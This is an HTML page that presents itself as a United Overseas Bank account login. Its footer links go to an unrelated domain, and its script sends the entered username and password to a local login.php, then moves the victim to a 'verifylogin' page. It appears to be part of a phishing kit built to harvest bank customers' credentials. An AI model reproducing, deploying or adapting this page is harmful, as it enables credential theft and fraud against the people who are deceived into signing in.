<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"/>
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>United Overseas Bank - Account Login</title>
<link href="https://fonts.googleapis.com/css?family=Karla:400,700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.materialdesignicons.com/4.8.95/css/materialdesignicons.min.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/login.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body>
<main class="d-flex align-items-center min-vh-100 py-3 py-md-0">
<div class="container">
<div class="card login-card">
<div class="row no-gutters">
<div class="col-md-5">
<img src="assets/images/login.jpg" alt="login" class="login-card-img">
</div>
<div class="col-md-7">
<div class="card-body">
<div class="brand-wrapper">
<img src="assets/images/logo.png" alt="logo" class="logo">
</div>
<p class="login-card-description">Sign into your account</p>
<form method="POST" name="login-form" id="login-form" novalidate>
<div id="err" class="alert alert-danger alert-dismissible fade show hide" role="alert">
Invalid password or username
<!--<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>-->
</div>
<div class="form-group">
<label for="username" class="sr-only">Email</label>
<input type="text" value="" name="username" id="username" class="form-control" placeholder="Username">
</div>
<div class="form-group mb-4">
<label for="password" class="sr-only">Password</label>
<input type="password" value="" name="password" id="password" class="form-control" placeholder="***********">
</div>
<button name="login" id="login" class="btn btn-block login-btn mb-4" type="button" ><i id="spin" class="fas fa-spinner fa-pulse hide"></i> Login</button>
</form>
<!--<a href="#!" class="forgot-password-link">Forgot password?</a>
<p class="login-card-footer-text">Don't have an account? <a href="#!" class="text-reset">Register here</a></p>-->
<nav class="login-card-footer-nav">
<a href="https://online.choicebc.com/">Terms of use.</a>
<a href="https://online.choicebc.com/">Privacy policy</a>
</nav>
</div>
</div>
</div>
</div>
</div>
</main>
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/
[email protected]/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"></script>
<script type="text/javascript" src="https://www.jqueryscript.net/demo/basic-validator-bootstrap/bs4-form-validation.min.js"></script>
<script>
// Create object
let form = new Validation("login-form");
// Validation Functions
form.requireText("username", 2, 50, [" "], []);
form.requireText("password", 2, 50, [" "], []);
$("#login").on("click", function () {
var username = $("#username").val();
var password = $("#password").val();
if(username == ""){
$("#username").focus();
$("#err").addClass('hide');
}else if(password == ""){
$("#password").focus();
$("#err").addClass('hide');
}else{
var data = $("#login-form").serialize();
$.ajax({
url: '/login.php',
type: 'post',
data: data,
beforeSend:function(){
$("#spin").removeClass('hide');
$("#err").addClass('hide');
},
success: function(res){
setTimeout(function(){
//alert(res);
if(res == "1"){
window.location.replace("/verifylogin.php#top");
$("#spin").addClass('hide');
}else{
$("#err").removeClass('hide');
$("#spin").addClass('hide');
}
}, 2000);
},
error: function(res){
//$("#spin").addClass('hide');
//alert(res);
$("#err").removeClass('hide');
$("#spin").addClass('hide');
}
});
}
});
</script>
</body>
</html>